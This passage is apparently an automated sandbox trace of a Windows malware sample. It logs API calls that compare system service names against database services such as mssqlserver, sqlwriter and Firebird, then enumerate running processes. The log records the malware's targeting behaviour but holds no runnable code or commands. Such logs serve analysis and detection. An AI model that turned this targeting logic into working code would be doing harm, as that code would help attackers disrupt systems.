(lpString="LSM") returned 3 [0218.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0218.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0218.131] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0218.131] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0218.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0218.131] lstrlenW (lpString="MpsSvc") returned 6 [0218.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.131] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.131] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.131] lstrlenW (lpString="NcbService") returned 10 [0218.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0218.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0218.131] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0218.131] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0218.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0218.131] lstrlenW (lpString="netprofm") returned 8 [0218.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.131] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.131] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.131] lstrlenW (lpString="NlaSvc") returned 6 [0218.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.131] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.131] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.131] lstrlenW (lpString="nsi") returned 3 [0218.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.132] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.132] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.132] lstrlenW (lpString="PcaSvc") returned 6 [0218.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.132] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.132] lstrlenW (lpString="PlugPlay") returned 8 [0218.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.132] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.132] lstrlenW (lpString="Power") returned 5 [0218.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.132] lstrlenW (lpString="ProfSvc") returned 7 [0218.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.132] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.132] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.133] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.133] lstrlenW (lpString="RpcSs") returned 5 [0218.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.133] lstrlenW (lpString="SamSs") returned 5 [0218.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.133] lstrlenW (lpString="Schedule") returned 8 [0218.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.133] lstrlenW (lpString="SecurityHealthService") returned 21 [0218.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0218.134] lstrlenW (lpString="SENS") returned 4 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.134] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.134] lstrlenW (lpString="Spooler") returned 7 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.134] lstrlenW (lpString="SSDPSRV") returned 7 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0218.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0218.134] lstrlenW (lpString="StateRepository") returned 15 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0218.134] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0218.134] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0218.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0218.134] lstrlenW (lpString="SysMain") returned 7 [0218.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.135] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0218.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0218.140] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.140] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.141] lstrlenW (lpString="System") returned 6 [0218.141] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.142] lstrlenW (lpString="smss.exe") returned 8 [0218.142] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.143] lstrlenW (lpString="csrss.exe") returned 9 [0218.143] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.143] lstrlenW (lpString="wininit.exe") returned 11 [0218.144] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.144] lstrlenW (lpString="csrss.exe") returned 9 [0218.144] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.145] lstrlenW (lpString="winlogon.exe") returned 12 [0218.145] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.146] lstrlenW (lpString="services.exe") returned 12 [0218.146] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.147] lstrlenW (lpString="lsass.exe") returned 9 [0218.147] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.148] lstrlenW (lpString="svchost.exe") returned 11 [0218.148] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.149] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.149] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.150] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.150] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.151] lstrlenW (lpString="svchost.exe") returned 11 [0218.151] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.152] lstrlenW (lpString="dwm.exe") returned 7 [0218.152] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.153] lstrlenW (lpString="svchost.exe") returned 11 [0218.153] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.154] lstrlenW (lpString="svchost.exe") returned 11 [0218.154] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.155] lstrlenW (lpString="svchost.exe") returned 11 [0218.155] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.155] lstrlenW (lpString="svchost.exe") returned 11 [0218.156] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.156] lstrlenW (lpString="svchost.exe") returned 11 [0218.156] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.157] lstrlenW (lpString="svchost.exe") returned 11 [0218.157] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.158] lstrlenW (lpString="svchost.exe") returned 11 [0218.158] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.159] lstrlenW (lpString="svchost.exe") returned 11 [0218.159] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.160] lstrlenW (lpString="svchost.exe") returned 11 [0218.160] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.161] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.161] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.162] lstrlenW (lpString="svchost.exe") returned 11 [0218.162] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.163] lstrlenW (lpString="svchost.exe") returned 11 [0218.163] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.164] lstrlenW (lpString="audiodg.exe") returned 11 [0218.164] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.165] lstrlenW (lpString="sihost.exe") returned 10 [0218.165] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.165] lstrlenW (lpString="svchost.exe") returned 11 [0218.166] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.166] lstrlenW (lpString="taskhostw.exe") returned 13 [0218.166] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.167] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0218.167] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0218.170] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0218.170] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.171] lstrlenW (lpString="explorer.exe") returned 12 [0218.171] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0218.173] lstrlenW (lpString="Memory Compression") returned 18 [0218.173] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.174] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0218.174] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0218.175] lstrlenW (lpString="SearchUI.exe") returned 12 [0218.175] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.176] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0218.176] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.177] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.177] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0218.178] lstrlenW (lpString="entering.exe") returned 12 [0218.178] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0218.178] lstrlenW (lpString="literally.exe") returned 13 [0218.178] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0218.179] lstrlenW (lpString="prep.exe") returned 8 [0218.179] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0218.180] lstrlenW (lpString="homeless.exe") returned 12 [0218.180] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0218.181] lstrlenW (lpString="tips.exe") returned 8 [0218.181] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0218.182] lstrlenW (lpString="rhode_cow.exe") returned 13 [0218.182] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, 